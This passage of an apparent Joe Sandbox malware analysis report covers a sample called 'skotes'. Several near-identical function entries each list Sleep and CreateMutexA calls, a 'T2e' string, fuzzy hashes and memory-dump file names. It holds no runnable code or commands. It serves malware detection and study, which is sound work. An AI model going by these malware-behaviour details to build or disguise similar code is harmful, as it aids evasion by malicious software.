Opcode Fuzzy Hash: efb7d1051d57d0b770ec5a607cb8fb263399a28f58163727983a31bf7f67b6b3
Instruction Fuzzy Hash: 43314A716042088BEB08DB78DD887BEBBA6FBC5310F204619E158D73DAD77A99808752

Function 005FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: c418d5a622d70dac64f28783fcd3fb44338d28edff5d51ab69f845487e268501
Instruction ID: d68931d23ba2be813d888fb7ad3a4434a9b268693a2d8c116e6e2c627e5de99f
Opcode Fuzzy Hash: c418d5a622d70dac64f28783fcd3fb44338d28edff5d51ab69f845487e268501
Instruction Fuzzy Hash: 95314AB16442089BEB08DB78DD88B7EBB77EB81310F204618E118973DAC77A59808753

Function 005FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: f9a8b9e995b9edbb55a049b7157751506498f0c19eba5b52a302acc86a2cb737
Instruction ID: d2688fb7bd8c9330160064fe32b16eb8fa9306045dcdfd622a9c9caa025516b3
Opcode Fuzzy Hash: f9a8b9e995b9edbb55a049b7157751506498f0c19eba5b52a302acc86a2cb737
Instruction Fuzzy Hash: D4312AB17442089FFB08DB78DDC9BBEBB66BB85310F204618E118973DAC77A59808753

Function 005FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 47a8b7df7079e082efe2c98209b678acec5169ebbc30a5aa90ac42dc6697d413
Instruction ID: e859ca4daccab1cf0318ba2c582a61efff823bfb3d9f540547fd9027ac811533
Opcode Fuzzy Hash: 47a8b7df7079e082efe2c98209b678acec5169ebbc30a5aa90ac42dc6697d413
Instruction Fuzzy Hash: 15315B717442088BEB08EB78DD8977EBB66FFC1314F204218E1589B3CAC7B959808757

Function 005FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 2112d8e78368b52d0cca1346b40d1a257c0f6bedfd9c7cdce8949a3cbe2b1312
Instruction ID: 54ce3b5885548af5f64f578602ce78f3e128a3cc384cd1086b63931461a8b2fc
Opcode Fuzzy Hash: 2112d8e78368b52d0cca1346b40d1a257c0f6bedfd9c7cdce8949a3cbe2b1312
Instruction Fuzzy Hash: 5A3157B1A041088BEB08DB78DD8977DBB66FBC5314F248618E5589B3DAC77999808713

Function 005FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 1c01ac9ceb0f42624a907012850327d719e2bdbf1b50ababcccdf398dbfe9c9b
Instruction ID: 8117667d4c373328012349b04d5a8de8746afb1aaf7dbdbe08f5ac572f3fa86b
Opcode Fuzzy Hash: 1c01ac9ceb0f42624a907012850327d719e2bdbf1b50ababcccdf398dbfe9c9b
Instruction Fuzzy Hash: 85312AB16041088BEB08EB78DD85B7EBB76EBC5310F248618E518DB3DAC77959808757

Function 005F9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
